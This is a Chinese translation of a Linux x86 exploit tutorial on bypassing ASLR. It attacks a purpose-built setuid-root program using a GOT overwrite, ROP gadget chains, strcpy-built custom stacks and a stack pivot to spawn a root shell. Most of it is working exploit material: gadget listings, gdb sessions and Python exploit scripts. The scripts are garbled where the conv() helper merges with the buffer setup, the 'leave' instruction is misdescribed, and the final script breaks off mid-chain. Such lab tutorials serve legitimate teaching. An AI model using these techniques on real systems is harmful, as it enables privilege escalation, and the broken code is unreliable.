Linux (x86) Exploit 開發(fā)系列教程之八 繞過 ASLR -- 第三部分

繞過 ASLR -- 第三部分

譯者:飛龍

原文:Bypassing ASLR – Part III

預(yù)備條件:

  1. 經(jīng)典的基于棧的溢出
  2. 繞過 ASLR -- 第一部分

VM 配置:Ubuntu 12.04 (x86)

在這篇文章中,讓我們看看如何使用 GOT 覆蓋和解引用技巧。來繞過共享庫(kù)地址隨機(jī)化。我們?cè)诘谝徊糠种刑岬竭^,即使可執(zhí)行文件沒有所需的 PLT 樁代碼,攻擊者也可以使用 GOT 覆蓋和解引用技巧來繞過 ASLR。

漏洞代碼:

// vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main (int argc, char **argv) {
 char buf[256];
 int i;
 seteuid(getuid());
 if(argc < 2) {
  puts("Need an argument\n");
  exit(-1);
 }
 strcpy(buf, argv[1]);
 printf("%s\nLen:%d\n", buf, (int)strlen(buf));
 return 0;
}

編譯命令:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意:

  1. system@PLT并沒有在我們的可執(zhí)行文件vuln中出現(xiàn)。
  2. 字符串sh也沒有在我們的可執(zhí)行文件vuln中出現(xiàn)。

什么是 GOT 覆蓋?

這個(gè)技巧幫助攻擊者,將特定 Libc 函數(shù)的 GOT 條目覆蓋為另一個(gè) Libc 函數(shù)的地址(在第一次調(diào)用之后)。但是它也可以覆蓋為execve函數(shù)的地址 -- 當(dāng)偏移差加到GOT[getuid]的時(shí)候。我們已經(jīng)知道了,在共享庫(kù)中,函數(shù)距離其基址的偏移永遠(yuǎn)是固定的。所以,如果我們將兩個(gè) Libc 函數(shù)的差值(execvegetuid)加到getuid的 GOT 條目,我們就得到了execve函數(shù)的地址。之后,調(diào)用getuid就會(huì)調(diào)用execve

offset_diff = execve_addr - getuid_addr
GOT[getuid] = GOT[getuid] + offset_diff

什么是 GOT 解引用?

這個(gè)技巧類似于 GOT 覆蓋,但是這里不會(huì)覆蓋特定 Libc 函數(shù)的 GOT 條目,而是將它的值復(fù)制到寄存器中,并將偏移差加到寄存器的內(nèi)容。因此,寄存器就含有所需的 Libc 函數(shù)地址。例如,GOT[getuid]包含getuid的函數(shù)地址,將其復(fù)制到寄存器。兩個(gè) Libc 函數(shù)(execvegetuid)的偏移差加到寄存器的內(nèi)容?,F(xiàn)在跳到寄存器的值就調(diào)用了execve

offset_diff = execve_addr - getuid_addr
eax = GOT[getuid]
eax = eax + offset_diff

這兩個(gè)技巧看起來類似,但是當(dāng)緩沖區(qū)溢出發(fā)生時(shí),如何在運(yùn)行時(shí)期執(zhí)行這些操作呢?我們需要識(shí)別出一個(gè)函數(shù)(它執(zhí)行這些加法,并將結(jié)果復(fù)制到寄存器),并跳到特定的函數(shù)來完成 GOT 覆蓋或解引用。但是很顯然,沒有單一的函數(shù)(不在 Libc 也不在我們的可執(zhí)行文件中)能夠?yàn)槲覀冏鲞@些。這里我們使用 ROP。

什么是 ROP?

ROP 是個(gè)技巧,其中攻擊者一旦得到了調(diào)用棧的控制之后,他就可以執(zhí)行精心構(gòu)造的機(jī)器指令,來執(zhí)行它所需的操作,即使沒有直接的方式。例如,在 return-to-libc 攻擊中,我們將返回地址覆蓋為system的地址,來執(zhí)行system。但是如果system(以及execve函數(shù)族)從 Libc 共享庫(kù)中溢出了,攻擊者就不能獲得 root shell。這時(shí),ROP 就可以拯救攻擊者。在這個(gè)技巧中,即使任何所需的 Libc 函數(shù)都不存在,攻擊者可以通過執(zhí)行一系列的零件(gadget),來模擬所需的 Libc 函數(shù)。

什么是零件?

零件是一系列匯編指令,它們以ret匯編指令結(jié)尾。攻擊者使用零件地址來覆蓋返回地址,這個(gè)零件包含一系列匯編指令,它們類似于system開頭的一些匯編指令。所以,返回到這個(gè)零件地址,就可以執(zhí)行一部分system的功能。system功能的剩余部分,通過返回到一些其他零件來完成。由此,鏈接一系列的零件可以模擬system的功能。因此system即使移除了也能夠執(zhí)行。

但是如何在可執(zhí)行文件中找到可用的零件?

可以使用零件工具來尋找。有很多工具,例如 ropeme、ROPgadgetrp++,它們有助于攻擊者在二進(jìn)制中尋找零件。這些工具大多都尋找ret指令,之后往回看來尋找實(shí)用的機(jī)器指令序列。

在我們這里,我們并不需要使用 ROP 零件倆模擬任何 Libc 函數(shù),反之,我們需要覆蓋 Libc 函數(shù)的 GOT 條目,或者確保任何寄存器指向 Libc 函數(shù)地址。讓我們看看如何使用 ROP 零件來完成 GOT 覆蓋和解引用吧。

使用 ROP 的 GOT 覆蓋

零件 1:首先我們需要一個(gè)零件,它將偏移差加到GOT[getuid]上。所以讓我們尋找一個(gè)add零件,它將結(jié)果復(fù)制到內(nèi)存區(qū)域中。

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080486fb: addb %dh, -0x01(%esi,%edi,8) ; jmpl *0x00(%ecx) ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
...
$

好的。我們找到了一個(gè)add零件,它將結(jié)果復(fù)制到內(nèi)存區(qū)域中?,F(xiàn)在如果我們可以使 EBX 包含GOT[getuid] - 0x5d5b04c4,并使 EAX 包含偏移差,我們就可以成功執(zhí)行 GOT 覆蓋。

零件 2:確保 EBX 包含getuid的 GOT 條目。getuid的 GOT 條目(在下面展示)位于0x804a004。因此 EBX 應(yīng)該為0x804a004,但是由于add零件中,固定值0x5d5b04c4加到了 EBX,所以 EBX 應(yīng)減去這個(gè)固定值,也就是ebx = 0x804a004 -0x5d5b04c4 = 0xaaa99b40?,F(xiàn)在我們需要尋找一個(gè)零件,它將這個(gè)值0xaaa99b40復(fù)制到 EBX 寄存器中。

$ objdump -R vuln
vuln: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE 
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT printf
0804a004 R_386_JUMP_SLOT getuid
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$ 

好的,我們找到了pop ebx零件。因此將該值0xaaa99b40壓入棧,并返回到pop ebx之后, EBX 包含0xaaa99b40

零件 3:確保 EAX 包含偏移差。因此我們需要找到一個(gè)零件,它將偏移差復(fù)制到 EAX 寄存器中。

$ gdb -q vuln
...
(gdb) p execve
$1 = {} 0xb761a1f0 
(gdb) p getuid
$2 = {} 0xb761acc0 
(gdb) p/x execve - getuid
$4 = 0xfffff530
(gdb) 
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080484a3: popl %ebp ; ret ; (1 found)
0x080485cf: popl %ebp ; ret ; (1 found)
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$

因此將偏移差0xfffff530壓入棧中,并返回到pop eax指令,將偏移差復(fù)制給 EAX。但是不幸的是,在我們的二進(jìn)制vuln中,我們不能找到popl %eax; ret;零件。因此 GOT 覆蓋是不可能的。

棧布局:下面的圖片描述了用于完成 GOT 覆蓋的零件鏈。

1

使用 ROP 的 GOT 解引用

零件 1:首先我們需要一個(gè)零件,它將偏移差加到GOT[getuid],并且它的結(jié)果需要加載到寄存器中。所以讓我們尋找一個(gè)add零件,它將結(jié)果復(fù)制到寄存器中。

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 4
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
166 found.

A total of 166 gadgets found.
...
0x08048499: addl $0x0804A028, %eax ; addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x08048482: addl %esp, 0x0804A02C(%ebx) ; calll *0x08049F1C(,%eax,4) ; (1 found)
0x0804860e: addl -0x0B8A0008(%ebx), %eax ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
...
$

好的。我們找到一個(gè)add零件,它將結(jié)果復(fù)制到寄存器中?,F(xiàn)在如果我們可以使 EBX 包含GOT[getuid] + 0xb8a0008,并使 EAX 包含偏移差,我們就可以成功執(zhí)行 GOT 解引用。

零件 2:我們?cè)?GOT 覆蓋中看到,可執(zhí)行文件vuln中找到了pop %ebx; ret;。

零件 3:我們?cè)?GOT 覆蓋中看到,可執(zhí)行文件vuln中沒有找到pop %eax; ret;。

零件 4:通過調(diào)用寄存器來調(diào)用execve。因此我們需要call *eax零件。

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x080485bb: calll *%-0x000000E0(%ebx,%esi,4) ; (1 found)
0x080484cf: calll *%eax ; (1 found)
0x0804860b: calll *%eax ; (1 found)
...
$

好的。我們發(fā)現(xiàn)了call *eax零件。但是還是因?yàn)榱慵?3popl %eax; ret;沒有找到,GOT 解引用也是無法實(shí)現(xiàn)的。

棧布局:下面的圖片描述了用于完成 GOT 解引用的零件鏈:

2

在似乎沒有更多方法時(shí)(至少對(duì)于我來說,當(dāng)我開始了解 ROP 的時(shí)候),Reno 向我介紹了下面的解法,通過手動(dòng)搜索 ROP 零件。非常感謝,所以繼續(xù)吧。

手動(dòng)搜索 ROP 零件

由于 ROP 零件工具不能找到pop eax;ret;零件,讓我們手動(dòng)搜索來尋找,是否能找到任何有趣的零件,能夠幫助我們將偏移差復(fù)制給 EAX 寄存器。

反匯編二進(jìn)制vuln(使用下面的命令):

$objdump -d vuln > out

零件 4:使用偏移差0xfffff530加載 EAX。反匯編展示了一個(gè) MOV 指令,它將棧內(nèi)容復(fù)制給 EAX:

80485b3: mov 0x34(%esp),%eax
80485b7: mov %eax,0x4(%esp)
80485bb: call *-0xe0(%ebx,%esi,4)
80485c2: add $0x1,%esi
80485c5: cmp %edi,%esi
80485c7: jne 80485a8 <__libc_csu_init+0x38>
80485c9: add $0x1c,%esp
80485cc: pop %ebx
80485cd: pop %esi
80485ce: pop %edi
80485cf: pop %ebp
80485d0: ret

但是ret0x80485d0)看起來離這個(gè)指令(0x80485b3)很遠(yuǎn)。所以這里的挑戰(zhàn)是,在ret指令之前,我們需要保證 EAX 不被修改。

不修改 EAX:

這里讓我們看看如何使 EAX 在ret指令(0x80485d0)之前不被修改。這是一個(gè)調(diào)用指令(0x80485bb),所以讓我們用這種方式來加載 EBX 和 ESI,就是調(diào)用指令會(huì)調(diào)用一個(gè)函數(shù),它不修改 EAX。_fini看起來不修改 EAX。

0804861c <_fini>:
804861c: push %ebx
804861d: sub $0x8,%esp
8048620: call 8048625 <_fini+0x9>
8048625: pop %ebx
8048626: add $0x19cf,%ebx
804862c: call 8048450 <__do_global_dtors_aux>
8048631: add $0x8,%esp
8048634: pop %ebx
8048635: ret

08048450 <__do_global_dtors_aux>:
8048450: push %ebp
8048451: mov %esp,%ebp
8048453: push %ebx
8048454: sub $0x4,%esp
8048457: cmpb $0x0,0x804a028
804845e: jne 804849f <__do_global_dtors_aux+0x4f>
...
804849f: add $0x4,%esp
80484a2: pop %ebx
80484a3: pop %ebp
80484a4: ret

_fini調(diào)用了_do_global_dtors_aux,在我們將內(nèi)存地址0x804a028設(shè)為 1 的時(shí)候,這里 EAX 可以可以保留下來。

為了調(diào)用_fini,EBX 和 ESI 的值是什么呢?

  1. 首先我們需要尋找一個(gè)內(nèi)存地址,它包含_fini的地址0x804861c。像下面展示的那樣,內(nèi)存地址0x8049f3c包含了_fini地址。

    0x8049f28 :    0x00000001 0x00000010 0x0000000c 0x08048354
    0x8049f38 <_DYNAMIC+16>: 0x0000000d 0x0804861c 0x6ffffef5 0x080481ac
    0x8049f48 <_DYNAMIC+32>: 0x00000005 0x0804826c
    
  2. 將 ESI 設(shè)為0x01020101。推薦這個(gè)值,因?yàn)槲覀儾荒軐⑵湓O(shè)為0x0,它是strcpy的漏洞代碼,零是壞字符。同樣,確保產(chǎn)生的值(儲(chǔ)存在 EBX 中)也不包含零。

  3. 像下面那樣設(shè)置 EBX:

    ebx+esi*4-0xe0 = 0x8049f3c
    ebx = 0x8049f3c -(0x01020101*0x4) + 0xe0
    ebx = 0x3fc9c18
    

因此,我們發(fā)現(xiàn),為了調(diào)用_fini,我們需要確保 EBX 和 ESI 分別加載為0x3fc9c180x01020101

同樣確保 EAX 不要在_fini的返回處(0x8048635)和返回指令(0x80485d0)之間修改。這可以通過設(shè)置edi = esi + 1來實(shí)現(xiàn)。如果設(shè)置了edi = esi + 1,跳轉(zhuǎn)指令0x80485c7就會(huì)確??刂屏魈D(zhuǎn)到0x80485c9的指令。之后我們可以看到,0x80485c9指令到返回指令(0x80485d0)之間,EAX 都不會(huì)改動(dòng)。

零件 5:將 EBX 加載為0x3fc9c18

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
65 found.

A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$

零件 6:將 ESI 加載為0x01020101,EDI 加載為0x01020102:

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 3
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
135 found.

A total of 135 gadgets found.
...
0x080485ce: popl %edi ; popl %ebp ; ret ; (1 found)
0x080485cd: popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048390: pushl 0x08049FF8 ; jmpl *0x08049FFC ; (1 found)
...
$

零件 7:將0x1復(fù)制到內(nèi)存地址0x804a028

$ ~/roptools/rp++ --atsyntax -f ./vuln -r 5
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
183 found.

A total of 183 gadgets found.
...
0x080485ca: les (%ebx,%ebx,2), %ebx ; popl %esi ; popl %edi ; popl %ebp ; ret ; (1 found)
0x08048498: movb $0x00000001, 0x0804A028 ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
0x0804849b: movb 0x83010804, %al ; les (%ebx,%ebx,2), %eax ; popl %ebp ; ret ; (1 found)
...
$

現(xiàn)在我們完成了零件的搜索。讓我們開始游戲吧!

零件搜索總結(jié)

  • 為了零件 1 的成功調(diào)用,我們需要零件 2 和 3。
  • 由于零件 3 不存在,我們執(zhí)行手動(dòng)搜索,并找到了零件 4、5、6 和 7。
  • 為了零件 4 的成功調(diào)用,我們需要零件 5、6 和 7。

利用代碼

下面的利用代碼使用execve函數(shù)地址覆蓋了GOT[getuid]

#!/usr/bin/env python
import struct
from subprocess import call

'''
 G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
 G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
 G3: 0x????????: popl %eax ; ret ; (NOT found)
 G4: 0x080485b3: mov 0x34(%esp),%eax...
 G5: 0x08048380: pop ebx ; ret ;
 G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
 G7: 0x08048498: movb $0x1,0x804a028...
'''

g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18 #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530

#endianess convertion
def conv(num):
 return struct.pack("<I",num* 268 #Junk
buf += conv(g7) #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6) #pop esi; pop edi; pop ebp; ret;
buf += conv(esi) #esi
buf += conv(edi) #edi
buf += conv(dummy)
buf += conv(g5) #pop ebx; ret;
buf += conv(ebx) #ebx
buf += conv(g4) #mov 0x34(%esp),%eax; ...

for num in range(0,11):
 buf += conv(dummy)

buf += conv(g2) #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40 #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1) #addl %eax, 0x5D5B04C4(%ebx); ret;
buf += "B" * 4

print "Calling vulnerable program"
call(["./vuln", buf])

執(zhí)行上面的利用代碼會(huì)生成核心文件。打開核心文件來查看GOT[getuid]execve函數(shù)地址覆蓋(在下面展示):

$ python oexp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???????????????????????????????????????@???0?????BBBB
Len:376
sploitfun@sploitfun-VirtualBox:~/lsploits/new/aslr/part3$ sudo gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/aslr/part3/vuln...(no debugging symbols found)...done.
(gdb) core-file core 
[New LWP 18781]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/1xw 0x804a004
0x804a004 <getuid@got.plt>: 0xb761a1f0
(gdb) p getuid
$1 = {} 0xb761acc0 
(gdb) p execve
$2 = {} 0xb761a1f0 
(gdb) 

好的,我們已經(jīng)成功將getuid的 GOT 條目覆蓋為execve的地址。因?yàn)楝F(xiàn)在為止,任何getuid的調(diào)用都會(huì)調(diào)用execve。

派生 root shell

我們的利用還沒完,我們剛剛執(zhí)行了 GOT 覆蓋,還需要派生出 root shell。為了派生 root shell,將下面的 Libc 函數(shù)(以及它們的參數(shù))復(fù)制到棧上。

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3

其中:

  • setuid@PLTsetuid的 PLT 代碼地址(0x80483c0)。
  • getuid@PLTgetuid的 PLT 代碼地址(0x80483b0),但是這回調(diào)用execve,因?yàn)槲覀円呀?jīng)執(zhí)行了 GOT 覆蓋。
  • seteuid_arg應(yīng)該為 0 來獲得 root shell。
  • execve_arg1 -- 文件名稱 -- 字符串/bin/sh的地址。
  • execve_arg2 -- argv -- 參數(shù)數(shù)組的地址,它的內(nèi)容是[Address of “/bin/sh”, NULL]。
  • execve_arg3 -- envp -- NULL

我們?cè)诘谖迤锌吹?,因?yàn)槲覀儾荒苤苯邮褂?0 來溢出緩沖區(qū)(因?yàn)?0 是壞字符),我們可以使用strcpy鏈來復(fù)制 0 代替seteuid_arg。但是這個(gè)解法不能在這里使用,因?yàn)闂J请S機(jī)化的,知道seteuid_arg的棧上位置的準(zhǔn)確地址十分困難。

如何繞過棧地址隨機(jī)化?

可以使用自定義棧和 stack pivot 技巧來繞過它。

什么是自定義棧?

自定義棧是由攻擊者控制的棧區(qū)域。它復(fù)制 Libc 函數(shù)鏈,以及函數(shù)參數(shù)來繞過棧隨機(jī)化。由于攻擊者選擇了任何非位置獨(dú)立和可寫的進(jìn)程的內(nèi)存區(qū)域作為自定義棧,所以可以繞過。在我們的二進(jìn)制vuln中,可寫和非位置獨(dú)立的內(nèi)存區(qū)域,是0x804a0000x804b000(在下面展示):

$ cat /proc//maps
08048000-08049000 r-xp 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
08049000-0804a000 r--p 00000000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
0804a000-0804b000 rw-p 00001000 08:01 399848 /home/sploitfun/lsploits/aslr/vuln
b7e21000-b7e22000 rw-p 00000000 00:00 0 
b7e22000-b7fc5000 r-xp 00000000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc5000-b7fc7000 r--p 001a3000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc7000-b7fc8000 rw-p 001a5000 08:01 1711755 /lib/i386-linux-gnu/libc-2.15.so
b7fc8000-b7fcb000 rw-p 00000000 00:00 0 
b7fdb000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 1711743 /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
$

例如,包含.data.bss段的內(nèi)存區(qū)域可以用作自定義棧位置。我選擇了0x804a360作為自定義棧位置。

現(xiàn)在選擇自定義棧位置之后,我們需要將 Libc 函數(shù)鏈以及它們的函數(shù)復(fù)制到自定義棧中。我們這里,將下面的 Libc 函數(shù)(以及它們的參數(shù))復(fù)制到自定義棧位置,以便派生 root shell。

seteuid@PLT | getuid@PLT | seteuid_arg | execve_arg1 | execve_arg2 | execve_arg3

為了將這些內(nèi)容復(fù)制到棧上,我們需要將實(shí)際棧的返回地址,覆蓋為一系列strcpy調(diào)用。例如,為了將seteuid@PLT (0x80483c0)復(fù)制到自定義棧上,我們需要:

  • 四個(gè)strcpy調(diào)用 -- 每個(gè)十六進(jìn)制值(0x08, 0x04, 0x83, 0xc0)使用一個(gè)strcpy調(diào)用。
  • strcpy的來源參數(shù)應(yīng)該是可執(zhí)行內(nèi)存區(qū)域的地址,它包含所需的十六進(jìn)制值,并且我們也需要確保這個(gè)值不被改動(dòng),它在所選的內(nèi)存區(qū)域存在。
  • strcpy的目標(biāo)參數(shù)應(yīng)該是自定義棧位置的目標(biāo)地址。

遵循上面的過程,我們就建立了完整的自定義棧。一旦自定義棧建立完成,我們需要將自定義棧移動(dòng)到真實(shí)的棧上,使用 stack pivot 技巧。

什么是 stack pivot?

stack pivot 使用leave ret指令來實(shí)現(xiàn)。我們已經(jīng)知道了,leave指令會(huì)翻譯為:

mov ebp, esp
pop ebp

所以在leave指令之前,使用自定義棧地址來加載 EBP -- 當(dāng)leave指令執(zhí)行時(shí),會(huì)使 ESP 指向 EBP。所以,在轉(zhuǎn)移到自定義棧之后,我們會(huì)繼續(xù)執(zhí)行一 Libc 函數(shù)序列,它們加載到了自定義棧上,然后就獲得了 root shell。

完整的利用代碼

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#GOT overwrite using ROP gadgets
'''
 G1: 0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ;
 G2: 0x080484a2: popl %ebx ; pop ebp; ret ;
 G3: 0x????????: popl %eax ; ret ; (NOT found)
 G4: 0x080485b3: mov 0x34(%esp),%eax...
 G5: 0x08048380: pop ebx ; ret ;
 G6: 0x080485cd: pop esi ; pop edi ; pop ebp ; ret ;
 G7: 0x08048498: movb $0x1,0x804a028...
'''

g1 = 0x0804849e
g2 = 0x080484a2
g4 = 0x080485b3
g5 = 0x08048380
g6 = 0x080485cd
g7 = 0x08048498
dummy = 0xdeadbeef
esi = 0x01020101
edi = 0x01020102
ebx = 0x3fc9c18               #ebx = 0x8049f3c - (esi*4) + 0xe0
off = 0xfffff530

#Custom Stack
#0x804a360 - Dummy EBP|seteuid@PLT|getuid@PLT|seteuid_arg|execve_arg1|execve_arg2|execve_arg3
cust_esp = 0x804a360          #Custom stack base address
cust_base_esp = 0x804a360     #Custom stack base address
#seteuid@PLT 0x80483c0
seteuid_oct1 = 0x8048143      #08
seteuid_oct2 = 0x8048130      #04
seteuid_oct3 = 0x8048355      #83
seteuid_oct4 = 0x80481cb      #c0
#getuid@PLT 0x80483b0
getuid_oct1 = 0x8048143       #08
getuid_oct2 = 0x8048130       #04
getuid_oct3 = 0x8048355       #83
getuid_oct4 = 0x80483dc       #b0
#seteuid_arg 0x00000000
seteuid_null_arg = 0x804a360
#execve_arg1 0x804ac60
execve_arg1_oct1 = 0x8048143  #08
execve_arg1_oct2 = 0x8048130  #04 
execve_arg1_oct3 = 0x8048f44  #AC 
execve_arg1_oct4 = 0x804819a  #60
#execve_arg2 0x804ac68
execve_arg2_oct1 = 0x8048143  #08
execve_arg2_oct2 = 0x8048130  #04 
execve_arg2_oct3 = 0x8048f44  #AC 
execve_arg2_oct4 = 0x80483a6  #68
#execve_arg3 0x00000000
execve_null_arg = 0x804a360
execve_path_dst = 0x804ac60   #Custom stack location which contains execve_path "/bin/sh"
execve_path_oct1 = 0x8048154  #/
execve_path_oct2 = 0x8048157  #b
execve_path_oct3 = 0x8048156  #i
execve_path_oct4 = 0x804815e  #n
execve_path_oct5 = 0x8048162  #s
execve_path_oct6 = 0x80483a6  #h
execve_argv_dst = 0x804ac68   #Custom stack location which contains execve_argv [0x804ac60, 0x0]
execve_argv1_oct1 = 0x8048143 #08
execve_argv1_oct2 = 0x8048130 #04 
execve_argv1_oct3 = 0x8048f44 #AC 
execve_argv1_oct4 = 0x804819a #60
strcpy_plt = 0x80483d0        #strcpy@PLT
ppr_addr = 0x080485ce         #popl %edi ; popl %ebp ; ret ;

#Stack Pivot
pr_addr = 0x080484a3          #popl %ebp ; ret ;
lr_addr = 0x08048569          #leave ; ret ;

#endianess convertion
def conv(num):
 return struct.pack("<I",num* 268 #Junk
buf += conv(g7)               #movb $0x1,0x804a028; add esp, 0x04; pop ebx; pop ebp; ret;
buf += conv(dummy)
buf += conv(dummy)
buf += conv(dummy)
buf += conv(g6)               #pop esi; pop edi; pop ebp; ret;
buf += conv(esi)              #esi
buf += conv(edi)              #edi
buf += conv(dummy)
buf += conv(g5)               #pop ebx; ret;
buf += conv(ebx)              #ebx
buf += conv(g4)               #mov 0x34(%esp),%eax; ...

for num in range(0,11):
 buf += conv(dummy)

buf += conv(g2)               #pop ebx; pop ebp; ret;
ebx = 0xaaa99b40              #getuid@GOT-0x5d5b04c4
buf += conv(ebx)
buf += conv(off)
buf += conv(g1)               #addl %eax, 0x5D5B04C4(%ebx); ret;
#Custom Stack
#Below stack frames are for strcpy (to copy seteuid@PLT to custom stack)
cust_esp += 4                 #Increment by 4 to get past Dummy EBP.
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct1)
#Below stack frames are for strcpy (to copy getuid@PLT to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct1)
#Below stack frames are for strcpy (to copy seteuid arg  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
#Below stack frames are for strcpy (to copy execve_arg1  to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct3)
cust_esp += 1
